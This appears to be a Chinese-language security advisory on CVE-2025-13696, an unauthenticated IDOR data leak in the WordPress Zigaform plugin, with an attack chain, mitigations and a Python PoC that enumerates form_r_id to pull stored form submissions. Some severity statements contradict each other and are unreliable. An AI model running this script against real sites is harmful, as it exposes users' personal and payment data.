IPBUF安全漏洞报告
English
CVE-2025-13696 CVSS 5.3 中危

CVE-2025-13696 WordPress Zigaform插件敏感信息泄露漏洞

披露日期: 2025-12-02

漏洞信息

漏洞编号
CVE-2025-13696
漏洞类型
敏感信息泄露
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
WordPress Zigaform (Cost Estimator Lite) 插件

相关标签

CVE-2025-13696WordPress插件漏洞敏感信息泄露IDORZigaformAJAX接口未授权访问表单数据泄露中危漏洞

漏洞概述

CVE-2025-13696是WordPress平台Zigaform插件(Zigaform - Cost Estimator Lite)中存在的一处高危敏感信息泄露漏洞。该漏洞影响7.6.5及以下所有版本,源于插件公开暴露了一个缺乏授权验证机制的AJAX接口。攻击者可无需任何认证,仅通过枚举表单提交记录中递增的form_r_id参数值,即可非法获取用户通过表单提交的敏感数据,包括但不限于个人身份信息、支付结算信息及其他隐私数据。此漏洞属于典型的Insecure Direct Object Reference(IDOR)类型缺陷,由于CVSS评分仅为5.3(Medium级别),且攻击复杂度低、无需特殊权限或用户交互,因此极易被大规模恶意利用,对数百万使用该插件的WordPress网站构成严重的数据安全威胁。Wordfence安全团队于2024年12月率先发现并报告了此漏洞,披露日期为2025年12月2日。

技术细节

漏洞根源在于Zigaform插件的模块文件uiform-fb-controller-frontend.php第106行附近实现的AJAX处理逻辑。该端点通过WordPress的wp_ajax_nopriv_rocket_front_payment_seesummary钩子注册,允许未登录用户(匿名访客)发起请求。问题在于处理函数直接接收客户端传递的form_r_id参数,并据此从数据库中检索对应的表单提交记录,但整个过程未执行任何服务器端授权检查——既不验证当前请求发起者是否为提交记录的合法所有者,也未校验用户是否具备访问该数据的权限。攻击者只需构造形如?action=rocket_front_payment_seesummary&form_r_id=1的HTTP请求,改变form_r_id值逐一枚举,即可批量拉取所有历史表单提交数据。由于WordPress表单ID通常采用自增主键设计,枚举难度极低。漏洞文件路径:plugins.trac.wordpress.org/browser/zigaform-calculator-cost-estimation-form-builder-lite/tags/7.6.5/modules/formbuilder/controllers/uiform-fb-controller-frontend.php#L106。修复方案需在数据查询前增加所有权验证逻辑,并限制接口的访问权限范围。

攻击链分析

STEP 1
步骤1
攻击者识别目标WordPress网站是否安装并启用Zigaform插件,可通过Wappalyzer或插件指纹特征进行探测
STEP 2
步骤2
攻击者构造针对AJAX端点的HTTP GET请求,目标URL为 /wp-admin/admin-ajax.php,参数包含 action=rocket_front_payment_seesummary
STEP 3
步骤3
攻击者将 form_r_id 参数设置为起始值(如1),由于插件未校验访问权限,直接返回该ID对应的表单提交数据
STEP 4
步骤4
攻击者编写自动化脚本,循环递增 form_r_id 值(1, 2, 3...N),批量枚举并提取所有历史表单提交记录
STEP 5
步骤5
获取的敏感数据可能包含用户姓名、邮箱地址、电话号码、邮寄地址、支付卡信息等,用于身份盗窃、欺诈交易或数据倒卖

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2025-13696 PoC - Zigaform IDOR Information Disclosure # Target: WordPress site with Zigaform plugin <= 7.6.5 TARGET_URL = "https://example.com/wp-admin/admin-ajax.php" def exploit_zigaform_idor(): print("[*] CVE-2025-13696 - Zigaform IDOR Information Disclosure") print("[*] Target: " + TARGET_URL) # Iterate through form_r_id values to extract submissions for form_id in range(1, 100): params = { "action": "rocket_front_payment_seesummary", "form_r_id": str(form_id) } try: response = requests.get(TARGET_URL, params=params, timeout=10) if response.status_code == 200 and response.text.strip(): print(f"\n[!] Found submission with form_r_id={form_id}") print(f"[+] Response length: {len(response.text)} bytes") print(f"[+] Raw response:\n{response.text[:500]}") # Save to file for analysis with open(f"submission_{form_id}.json", "w") as f: f.write(response.text) print(f"[+] Saved to submission_{form_id}.json") except requests.RequestException as e: print(f"[-] Request failed for form_r_id={form_id}: {e}") continue if __name__ == "__main__": exploit_zigaform_idor()

影响范围

Zigaform - Cost Estimator Lite <= 7.6.5

防御指南

临时缓解措施
在官方补丁发布前,可通过以下临时措施降低风险:1)限制非管理员用户访问/wp-admin/目录;2)使用WAF添加速率限制规则,阻止短时间内大量针对admin-ajax.php的枚举请求;3)临时禁用Zigaform插件或使用.htaccess规则阻止 rocket_front_payment_seesummary AJAX动作;4)检查服务器访问日志,排查是否存在可疑的form_r_id枚举行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表